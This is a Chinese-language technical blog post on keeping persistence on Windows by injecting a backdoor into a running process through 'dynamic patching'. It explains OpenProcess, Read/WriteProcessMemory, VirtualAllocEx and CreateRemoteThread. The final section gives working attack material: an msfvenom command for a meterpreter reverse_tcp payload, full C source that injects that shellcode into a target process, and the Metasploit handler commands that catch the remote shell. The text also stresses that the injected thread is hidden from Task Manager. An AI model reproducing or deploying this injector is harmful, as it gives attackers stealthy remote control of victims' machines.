技术分享
Windows权限维持——利用动态补丁技术隐藏后门
发布时间 · 2023-12-04

一.什么是动态补丁?

动态补丁又称热补丁,是指目标PE处于活跃状态时(即进程)为其实施的补丁。
一个完整的动态补丁一般需要具备以下四个要素:

1. 与其他进程通信的能力。

2. 良好的读写其他进程地址空间的能力。

3. 能正确的识别要补丁的目标进程。

4. 在其他进程地址空间执行代码的能力。

二.什么是后门?

后门是指恶意程序或代码,通过绕过正常的访问控制机制,使攻击者能够在目标系统中保持持久的访问和控制权限。后门通常被用于非法入侵、数据盗取、远程控制等恶意活动。

三.进程间通信机制

Windows中,实现进程间通信的机制有很多方法,归纳一下分为两大类:
 一种是通过两个进程实施的耦合性强的进程间通信。这种通信机制要求参与通信的两个进程必须密切配合,两个进程工作在服务器/客户端模式。这类通信机制主要包括匿名管道、命名管道、邮件槽、远程方法调用等。

另外一种是由第三方参与的耦合性相对较弱的进程间通信,比如通过剪贴板、共享内存、动态链接库、映射文件、注册表、一般文件、SocketWindows消息队列、信号量等。

四.读写进程内存

读写其他进程内存地址空间是动态补丁必须具备的功能,但Windows的安全机制不允许一个进程直接读写其他进程空间的数据,除非使用了特定的Windows API 函数。这些函数包括:

OpenProcess              通过设置访问权限打开要读写的进程
ReadProcessMemory        实现打开进程空间数据的读取
WriteProcessMemory       完成向打开的进程空间写入数据

以下是这三个函数的详细介绍。

(1)OpenProcess函数

OpenProcess函数用来打开一个已存在的进程对象,并返回进程的句柄。函数原型定义如下:

HANDLE OpenProcess(
DWORD dwDesiredAccess,     //访问权限
BOOL  bInheritHandle,     //继承标志,若句柄能由子进程继承,则设置为TRUE
DWORD dwProcessId           //进程号
);

各参数解释如下:

• dwDesiredAccess:访问权限。它可以是表1所列的值。

1 OpenProcess函数dwDesiredAccess参数的值

• bInheritHandle:继承标志;如果设置为TRUE,表示继承打开的进程,否则表示不继承。

• dwProcessId:进程的ID号。

• 返回值:如果成功,返回值为指定进程的句柄;如果失败,返回值为空。

2ReadProcessMemory函数

读进程内存函数。以下是函数原型:

BOOL ReadProcessMemory(
HANDLE hProcess,             //远程进程句柄
PVOID pvAddressRemote,     //远程进程地址VA(虚拟地址)值
PVOID pvBufferLocal,       //存放数据的缓冲区
DWORD dwSize,                   //缓冲区大小
PDWORD pdwNumBytesRead   //读出的实际字节数,是输出参数
);

各参数解释如下:

• hProcess:远程进程的句柄,远程进程即为要操作的进程。

• pvAddressRemote:要操作的进程的地址空间,该地址为VA

• pvBufferLocal:存放要操作的数据的本地缓冲区。

• dwSize:本地缓冲区大小。

• pdwNumBytesRead:输出参数,表示本次读取的实际字节数。

• 返回值:如果成功,返回TRUE,否则返回NULL

3WriteProcessMemory函数

写进程内存函数。完整定义如下:

BOOL writeProcessMemory(
HANDLE hProcess,          //远程进程句柄
PVOID pvAddressRemote  //远程进程地址VA
PVOID pvBufferLocal ,    //存放数据的缓冲区
DWORD dwSize,                //缓冲区大小
PDWORD pdwNumBytesRead  //读写的字节数,是返回值
);

读进程内存和写进程内存的函数的参数定义是一样的,各参数的解释如下:

• hProcess:指定将要被读写的目标进程句柄。

• pvAddressRemote:目标进程中被读写的起始线性地址。

• pvBufferLocal:用来接收读取数据的缓冲区(对于ReadProcessMemory 函数)或者要写到目标进程的数据缓冲区(对于WriteProcessMemory 函数)

• dwSize:要读写的字节数。

• pdwNumBytesRead:指向一个双字变量,供函数返回实际读写的字节数﹔如果不关心这个结果,可以将其设置为NULL

• 返回值:如果函数执行成功,那么返回值是非0值,执行失败的话返回0

五.目标进程枚举

在进行动态补丁时,有一步是必需的,即获取目标进程的句柄或者ID号。通过枚举系统进程即可获取这些信息。

枚举Win32子系统进程的方法很多,常见的有以下四种。

1)调用PSAPI.DLL提供的函数

该动态链接库是微软Windows NT开发小组开发的与进程有关的函数集。核心函数包括:

EnumDeviceDriversEnumPageFilesAEnumPageFileswEnumProcessModulesEnumProcesses

2)调用ToolHelp API提供的函数

ToolHelp32函数是一组存储在Kernel32.dll中的Windows API函数,它能够通过Snapshot获得驻留在系统内存中的进程表、线程表、模块表和堆表。核心函数包括:

CreateToolhelp32SnapshotProcess32FirstProcess32FirstwProcess32NextProcess32NextwModule32FirstModule32FirstwModule32NextModule32Nextw

3)调用ntdll.dll中未公开的API函数

ntdll.dll中,有一组以NtQuery开头的函数集,利用其中的函数可以获取系统相关数据结构的信息,其中就包括进程信息。核心函数包括:

NtQueryInformationProcessNtQueryInformationThreadNtQuerySystemInformation

4)调用PDH.DLL中的API函数

PDHPerformance Data Helper,性能数据辅助数据库)中包含了大量的信息,例如CPU使用率、内存使用率、系统进程信息等;该数据库既可以通过注册表函数来访问,也可以通过动态链接库PDH.DLL提供的系列函数访问。核心函数包括:

PdhCloseQueryPdhOpenQueryAPdhOpenQueryHPdhOpenQueryWPdhEnumObjectItemsAPdhEnumObjectItemsHAPdhEnumObjectItemsHWPdhEnumObjectItemsWPdhAddCounterApdhAddCounterWPdhCollectQueryDataPdhCollectQueryDataEx
PdhGetFormattedCounterArrayAPdhGetFormattedCounterArrayWPdhGetFormattedCounterValue

六.执行远程线程

大部分的动态补丁最后一步要实现代码的运行,即确保插入到目标进程内存的数据要具备运行权,并能最终运行起来。在一个进程中要运行插入的代码,最好的办法就是通过远程线程技术,即将一段代码挂接到目标进程中,并指定代码块作为该目标进程的一个线程来运行。

Windows API为远程线程执行提供了函数支持。以下是大致的步骤:

1. 使用OpenProcess函数打开目标进程,获取进程操作句柄。

2. 使用VirtualAllocEx函数在目标进程中分配内存。

3. 使用WriteProcessMemory函数将远程代码写入。

4. 使用CreateRemoteThread函数在目标进程中创建远程线程并执行。

OpenProcess函数和WriteProcessMemory函数前面已经介绍过,下面重点介绍另外两个函数。

1VirtualAllocEx函数

VritualAllocEx函数内存分配函数的原型如下:

LPVOID virtualAllocEx(
HANDLE hProcess,             //申请内存所在的进程句柄
LPVOID lpAddress,         //保留页面的内存地址,NULL表示自动分配
SIZE_T dwSize,                //欲分配的内存大小
DWORD flAllocationType,   //内存分配属性
DWORD flProtect             //分配区页面属性
) ;

其中各参数解释如下:

flAllocationType,内存分配属性,可取下列值:

MEM_COMMIT     为特定的页面区域分配内存中或磁盘的页面文件中的物理存储。MEM_PHYSICAL 分配物理内存(仅用于地址窗口扩展内存)
MEM_RESERVE    保留进程的虚拟地址空间,而不分配任何物理存储。保留页面可通过继续调用函数VirtualAlloc而被占用,直到最终提交。
MEM_RESET       指明在内存中由参数lpAddressdwSize指定的数据无效。MEM_TOP_DOWN 在尽可能高的地址上分配内存。

fIProtect,分配区的页面属性,可取下列值:

PAGE_READONLY             区域为只读,如果应用程序试图访问区域中的页的时候,将会被拒绝访问。

PAGE_READWRITE           区域可被应用程序读写。

PAGE_EXECUTE              区域包含可被系统执行的代码。试图读写该区域的操作将被拒绝。

PAGE_EXECUTE_READ       区域包含可执行代码,应用程序可以读该区域。

PAGE_EXECUTE_READWRITE  区域包含可执行代码,应用程序可以读写该区域。

PAGE_GUARD              区域第一次被访问时进入一个STATUS_GUARD_PAGE异常,这个标志要和其他保护标志合并使用,表明区域被第一次访问的权限。

PAGE_NOACCESS             任何访问该区域的操作将被拒绝。

PAGE_NOCACHE              RAM中的页映射到该区域时将不会被微处理器缓存(cached)。

返回值:如果执行成功就返回分配内存的首地址,不成功则返回NULL

2CreateRemoteThread函数

CreateRemoteThread函数的原型如下:

HANDLE CreateRemoteThread(
HANDLE hProcess,                //目标进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes //安全属性
SIZE_T dwStackSize,            //线程栈大小
LPTHREAD_START_ROUTINE lpStartAddress,    //线程起始地址
LPVOID lpParameter,          //传入参数
DWORD dwCreationFlags, //创建标志字
LPDWORD lpThreadId          //(输出)线程句柄
) ;

各参数解释如下:

• hProcess,目标进程句柄。

• lpThreadAttributes,线程安全描述字,一个指向SECURITY_ATTRIBUTES结构的指针。

• dwStackSize,线程栈大小,以字节表示。

• lpStartAddress,一个LPTHREAD_START_ROUTINE类型的指针,指向在远程进程中执行的函数地址。

• lpParameter,传入参数。

• dwCreationFlags,创建线程的其他标志。

• lpThreadId(输出),返回线程号,如果为NULL,则不返回。

• 返回值:如果成功返回新线程句柄,失败返回NULL,并且可调用GetLastError获得错误值。

七.隐藏后门

Linux虚拟机中使用MSF生成shellcode

msfvenom -a x86 --platform wimdows -p windows/meterpreter/reverse_tcp LHOST=192.168.4.10 LPORT=4444 -f c -o shellcode.c

 结合面的补丁技术,写出带后门的动态补丁程序,源码如下:

#include <cstdio>
#include <windows.h>
#include <tlhelp32.h>

int main(){
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\x50\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x04\x0a\x68\x02\x00"
"\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
LPVOID lpRemote ;
SIZE_T dwTemp;
PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //获取系统所有进程快照

    if (Process32First(snapshot, &entry) == TRUE) //获取第一个进程快照
    {
        while (Process32Next(snapshot, &entry) == TRUE) //枚举进程
        {
            if (stricmp(entry.szExeFile, "peinfo.exe") == 0) //寻找目标进程
            {  
                HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID); //获取目标进程句柄

lpRemote = VirtualAllocEx(hProcess,NULL,sizeof(buf)+0x10,MEM_COMMIT,PAGE_EXECUTE_READWRITE); //在目标进程中分配足够的内存空间
                WriteProcessMemory(hProcess,lpRemote,buf,sizeof(buf),&dwTemp); //在分配的空间中写入shellcode
                LPTHREAD_START_ROUTINE LPthread = (LPTHREAD_START_ROUTINE)lpRemote;  
                CreateRemoteThread(hProcess,NULL,0,LPthread,0,0,NULL); //执行shellcode

                CloseHandle(hProcess);
            }
        }
    }

    CloseHandle(snapshot);

    return 0;
}

编译后重命名为AsantsNB.exe,放入Windows 10虚拟机进行测试。先在MSF中进行监听:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LhOST 192.168.4.10
msf6 exploit(multi/handler) > run

Windows 10虚拟机中先执行peinfo.exe程序(在实战中可以是系统中的某个服务的进程),使用Process Explorer查看当前peinfo.exe的线程信息:

 执行AsantsNB.exe,创建后门的远程线程。此时查看peinfo.exe的线程信息:

 其中TID6268的线程,即为后门的线程。MSF中可以看到该机器已上线:

 此时,查看任务管理器是不显示该线程的: